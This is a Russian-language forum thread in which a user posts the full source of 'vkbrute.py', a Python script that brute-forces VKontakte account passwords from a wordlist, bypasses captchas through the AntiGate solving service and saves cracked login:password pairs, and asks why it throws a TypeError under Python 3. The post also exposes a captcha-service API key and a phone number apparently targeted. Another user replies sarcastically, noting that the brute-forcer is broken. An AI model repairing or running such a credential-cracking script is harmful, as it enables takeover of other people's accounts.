PYTHON3 | TypeError

Автор Oknolaz, 25 июня 2020, 21:28:24

« назад - далее »

0 Пользователи и 4 гостей просматривают эту тему.

Oknolaz

При запуске кода на третьем питонячем выдаёт такое:
vkbrute.py:45: GrabDeprecationWarning: Method `Document.submit` is deprecated. Use `Grab.submit` method instead.
  g.doc.submit()
vkbrute.py:48: GrabDeprecationWarning: The `Grab.response` attribute is deprecated. Use `Grab.doc` instead.
  all_captchas = re.findall('"(/captcha.php[^"]*)"', g.response.body)[0]
Traceback (most recent call last):
  File "vkbrute.py", line 80, in <module>
    brute('89621924150', 'pass.txt', 'result.txt')
  File "vkbrute.py", line 48, in brute
    all_captchas = re.findall('"(/captcha.php[^"]*)"', g.response.body)[0]
  File "/usr/lib/python3.8/re.py", line 239, in findall
    return _compile(pattern, flags).findall(string)
TypeError: cannot use a string pattern on a bytes-like object

Полный код скрипта:
#! coding: utf8
import grab, re, urllib3
from antigate import AntiGate
from grab import GrabTimeoutError
from time import sleep

cap_key = '8a3c08b1dfab64be19c85a130bba6f23'
def anti(key, file):
    try:
        try:
            data = AntiGate(key, file)
            return data
        except KeyboardInterrupt:
            print("Завершение")
    except:
        anti(key, file)

def save(url, file):
    site = urllib2.urlopen(url)
    f = open(file, 'wb')
    f.write(site.read())

def cap_solve(img):
    save(img, 'captcha.jpg')
    key = anti(cap_key, 'captcha.jpg')
    return key

def brute(login, passwords, save):
    out = open(save, 'w')
    psswrds = open(passwords,'r')
   
    try:
        int(login)
        prefix = True
    except:
        prefix = False
   
    g = grab.Grab()
    g.go('http://это необязательно знать.ком')

    for line in psswrds:
        psswrd = line.rstrip('\r\n')
        g.doc.set_input('email', login)
        g.doc.set_input('pass', psswrd)
        g.doc.submit()

        if g.doc.text_search(u'captcha'):
            all_captchas = re.findall('"(/captcha.php[^"]*)"', g.response.body)[0]
            captcha = '' + all_captchas
            key = cap_solve(captcha)
            g.doc.set_input('email', login)
            g.doc.set_input('pass', psswrd)
            g.doc.set_input('captcha_key', str(key))
            g.doc.submit()
            print("cap")
            if 'Подтвердить' in g.response.body:
                if prefix:
                    prefix1 = g.doc.rex_search('\+[0-9]*').group(0)
                    prefix2 = g.doc.rex_search(' [0-9]*').group(0)
                    pre1 = re.findall('[0-9]{1,}', prefix1)[0]
                    pre2 = re.findall('[0-9]{1,}', prefix2)[0]
   
                    login = login.replace(pre1, '')
                    login = login.replace(pre2, '')
   
                    g.set_input('code', login)
                    g.submit()
                    print(login + ':' + psswrd + '--success')
                    out.write(login + ':' + psswrd + '\n')
                else:
                    out.write(login + ':' + psswrd + '\n')
            else:
                if g.doc.rex_search('[^>]+').group(0) == 'Login | VK':
                    print(login + ':' + psswrd + '--fail')
                else:
                    print(login + ':' + psswrd + '--success')
                    out.write(login + ':' + psswrd + '\n')
    out.close()
    psswrds.close()
brute('8*****', 'pass.txt', 'result.txt')

Где ошибка?

ChubaDuba

#1
Цитата: Oknolaz от 25 июня 2020, 21:28:24Где ошибка?
line 80
line 48
line 239
Оно точно под третий?

Oknolaz

Цитата: ChubaDuba от 25 июня 2020, 22:03:25line 80
line 48
line 239
Я не слепой, я не знаю что именно в этих строках неправильно
Цитата: ChubaDuba от 25 июня 2020, 22:03:25Оно точно под третий?
Зачем отвечать на вопрос по python если ты не знаешь синтаксиса?

ChubaDuba

Версии питонов совпадают?

ChubaDuba

Цитата: Oknolaz от 25 июня 2020, 22:16:29Зачем отвечать на вопрос по python если ты не знаешь синтаксиса?
Смешной вы!
Выкладываете на форуме Debian неработающий брут для ВКонтакте и спрашиваете в чём дело. У администрации ВКонтакте спросите, может они в очередной раз поменяли алгоритм авторизации?